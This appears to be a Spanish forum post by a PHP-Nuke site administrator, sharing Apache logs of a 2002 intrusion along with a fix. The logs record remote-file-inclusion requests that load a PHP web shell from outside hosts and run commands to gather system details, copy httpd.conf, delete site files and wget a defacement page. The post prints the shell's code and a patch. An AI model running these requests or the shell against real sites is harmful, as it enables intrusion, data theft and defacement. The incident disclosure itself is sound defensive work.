apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /themes/NukeNews/images/corner-bottom-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:48 -0300] "GET /images/powered/nuke.gif HTTP/1.0" 200 1257 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/apache.gif HTTP/1.0" 200 1806 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/mysql-125.gif HTTP/1.0" 200 2310 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:50 -0300] "GET /images/powered/redhat.gif HTTP/1.0" 200 1001 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:56 -0300] "GET /admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt HTTP/1.0" 200 17853 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/style/style.css HTTP/1.0" 200 2791 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/images/corner-top-left.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/images/logo.gif HTTP/1.0" 200 778 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:03 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 17189 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:07 -0300] "GET /themes/NukeNews/images/corner-top-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:10 -0300] "GET /themes/NukeNews/images/pixel.gif HTTP/1.0" 200 43 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:10 -0300] "GET /images/splatt_forum/subject/icon5.gif HTTP/1.0" 200 207 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:11 -0300] "GET /images/splatt_forum/subject/icon33.gif HTTP/1.0" 200 174 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:11 -0300] "GET /images/splatt_forum/subject/icon32.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:12 -0300] "GET /images/splatt_forum/subject/icon3.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:13 -0300] "GET /images/splatt_forum/subject/icon4.gif HTTP/1.0" 200 192 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:14 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:24 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:25 -0300] "GET /modules/My_Weather/images/orig/18.gif HTTP/1.0" 200 1267 "http://redlibre.sin-ip.com.ar/index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:20:35 -0300] "GET /banners.php HTTP/1.0" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:22:50 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:22:59 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 16671 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:49 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 16671 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:52 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:58 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:26 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 17491 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:27 -0300] "GET /modules/My_Weather/images/orig/18n.gif HTTP/1.0" 200 1495 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:28 -0300] "GET /themes/NukeNews/images/corner-bottom-left.gif HTTP/1.0" 200 110 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:28 -0300] "GET /themes/NukeNews/images/corner-bottom-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:30 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:34:52 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:44 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf HTTP/1.0" 200 17475 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:49 -0300] "GET /images/powered/nuke.gif HTTP/1.0" 200 1257 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:49 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:50 -0300] "GET /images/powered/apache.gif HTTP/1.0" 200 1806 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:50 -0300] "GET /images/powered/mysql-125.gif HTTP/1.0" 200 2310 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:52 -0300] "GET /images/powered/redhat.gif HTTP/1.0" 200 1001 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:02:04 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20/etc/httpd/conf/httpd.conf%20usdl HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:02:13 -0300] "GET /usdl HTTP/1.0" 200 53973 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:04:56 -0300] "GET / HTTP/1.0" 200 38357 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:03 -0300] "GET /images/topics/redlibre.gif HTTP/1.0" 200 211 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:04 -0300] "GET /images/powered/phpnuke.gif HTTP/1.0" 200 2379 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:05 -0300] "GET /images/html401.gif HTTP/1.0" 200 2347 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:06:49 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20/etc/httpd/conf/httpd.conf%20usdl HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:07:41 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20usdl;ls%20/home/seekergps/www HTTP/1.0" 200 19476 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:08:30 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20/home/seekergps/www/*.*;ls%20/home/seekergps/www HTTP/1.0" 200 17036 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:09:34 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=wget%20www.elcacerolazo.org/index.htm;cp%20index.htm%20/home/seekergps/www/index.html HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:10:08 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=ls%20/home/seekergps/www/ HTTP/1.0" 200 17047 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:11:54 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20index.php%20auth.inc.php;cp%20in dex.htm%20index.php HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:11:57 -0300] "GET / HTTP/1.0" 200 1329 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
Revisando el http://www11.brinkster.com/planethacker/usdl.gif , veo que es un phpcon lo siguiente:
<?php
system($cmd);
?>
Eso quiere decir que puede ejecutar cualquier comando del sistema pasando como parametro cmd...
Entonces agregué en el index.php lo siguiente:
$file7 = substr($file,0,7);
$file6 = substr($file,0,6);
if (.... OR ($file7=="http://") OR ($file6=="
ftp://") )) {
De esa manera chequea antes de ejecutar un archivo externo, no se si resta funcionalidad en algo.
Ahí están la IP y todo lo que hicieron, por si les interesa.
Moraleja: nunca dejen que el usuario apache modifique directorios ni archivos, saquenle los permisos, a menos que puedan controlar exactamente lo que se hace en ese directorio.
Tambien es cierto que hay un error del PHPNuke, pero asumo la responsabilidad.
Cualquier sugerencia o comentario bienvenidos sean.
Salu2
0
